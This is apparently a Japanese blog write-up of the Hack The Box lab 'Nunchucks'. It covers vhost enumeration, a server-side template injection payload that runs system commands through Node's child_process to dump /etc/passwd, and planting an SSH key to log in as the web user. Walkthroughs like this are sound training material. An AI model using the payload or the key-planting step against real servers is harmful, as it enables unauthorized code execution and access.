Skip to content

Hack the box - Nunchucks

Hack the boxのNunchucksを完了したのでメモ。

難易度Writeupを
Easy見た

1. nmapでrecon

  • 22、80、443が空いている
  • 80は443へリダイレクトされる
  • nunchucks.htbを/etc/hostsへ追記

2. Webサーバが動いているのでアクセス

  • NunchucksというECサイトのを作成できるSaaSの紹介ページ
  • loginやregisterページはDisabledされている

特にほしい情報なし

4. VHOST Enumeration

vhostのEnumerationに必要な辞書を作成する https://nunchucks.htbに対してcewlを実行

Terminal window
$ cewl https://nunchucks.htb/ | tr '[A-Z]' '[a-z]' > cewl.list

fuffでvhostのEnumerationを開始。

Terminal window
$ ffuf -w ./cewl.list -H "Host: FUZZ.nunchucks.htb" -u https://nunchucks.htb/
...
()
...
services [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 119ms]
implementation [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 118ms]
chosen [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 119ms]
can [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 121ms]
our [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 118ms]
text [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 121ms]
with [Status: 200, Size: 30589, Words: 12757, Lines: 547, Duration: 120ms]

ステータス200が返っているけど、これらのvhostは見つからないのでフィルタで除外して、再度実行

Terminal window
$ ffuf -w ./cewl.list -H "Host: FUZZ.nunchucks.htb" -u https://nunchucks.htb/ -fs 30589
...
()
...
store [Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 138ms]
:: Progress: [797/797] :: Job [1/1] :: 230 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

store.nunchuks.htbが見つかる

5. store.nunchuks.htbにアクセス

ローンチ前のサービスについて、メールアドレスを入力することで情報を受け取れるようだ

[email protected]を入れてNotify Meを押すと、たったいま入力したアドレスがボックスの下の文言の末尾に表示される

6. Template Injectionを試す

{{7*7}}@hoge.com -> [email protected]になって返ってくる
${7*7}@hoge.com
<%= 7*7 %>@hoge.com
${{7*7}}@hoge.com
#{7*7}@hoge.com
*{7*7}@hoge.com

SSTIの脆弱性がありそう

またレスポンスをBurpでキャプチャすると、ヘッダにX-Powered-By: Expressがあるので、Node.jsのExpressが使われているようだ

SSTIのPOCを試す

こちらのPOCを試す

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

ただしブラウザ画面から実施してもメールフォーマットのバリデーションではじかれるため、いったん[email protected]で送信したリクエストをBurpでキャプチャしてRepeaterに流す

リクエストにはJSON形式でemailが挿入されているので、そこにPOCを入れ込む

{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}@hoge.com"}

レスポンスには/etc/passwdがtailされて返ってくる

{"response":"You will receive updates on the following email address: lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\nrtkit:x:113:117:RealtimeKit,,,:/proc:/usr/sbin/nologin\ndnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\ngeoclue:x:115:120::/var/lib/geoclue:/usr/sbin/nologin\navahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin\ncups-pk-helper:x:117:123:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\nsaned:x:118:124::/var/lib/saned:/usr/sbin/nologin\ncolord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\npulse:x:120:126:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin\nmysql:x:121:128:MySQL Server,,,:/nonexistent:/bin/false\[email protected]."}

tailじゃなくてcatで全部抜き出して、整形する

/etc/passwd
root:x:0:0:root:/root:/bin/bash\n
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n
bin:x:2:2:bin:/bin:/usr/sbin/nologin\n
sys:x:3:3:sys:/dev:/usr/sbin/nologin\n
sync:x:4:65534:sync:/bin:/bin/sync\n
games:x:5:60:games:/usr/games:/usr/sbin/nologin\n
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\n
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\n
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\n
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\n
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin\n
syslog:x:104:110::/home/syslog:/usr/sbin/nologin\n
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\n
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\n
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\n
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\n
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin\n
pollinate:x:110:1::/var/cache/pollinate:/bin/false\n
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin\n
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\n
david:x:1000:1000:david:/home/david:/bin/bash\n <=============
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\n
rtkit:x:113:117:RealtimeKit,,,:/proc:/usr/sbin/nologin\n
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\n
geoclue:x:115:120::/var/lib/geoclue:/usr/sbin/nologin\n
avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin\n
cups-pk-helper:x:117:123:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\n
saned:x:118:124::/var/lib/saned:/usr/sbin/nologin\n
colord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\n
pulse:x:120:126:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin\n
mysql:x:121:128:MySQL Server,,,:/nonexistent:/bin/false\n

davidユーザが使えそう

davidユーザにログインする

これまで使ってきたSSTIを使ってさらに調査を進めると、以下がわかる

id → このWebサーバはdavidによって実行されている ls -la /home/david.sshがない

自分で.ssh/authorized_keysをおいて、鍵認証でdavidにログインすればいいのでは → 実際うまくいく

サーバ内の調査

/optにWebサーバのプログラムをバックアップするperlスクリプトがある:rootで動作する、狙い目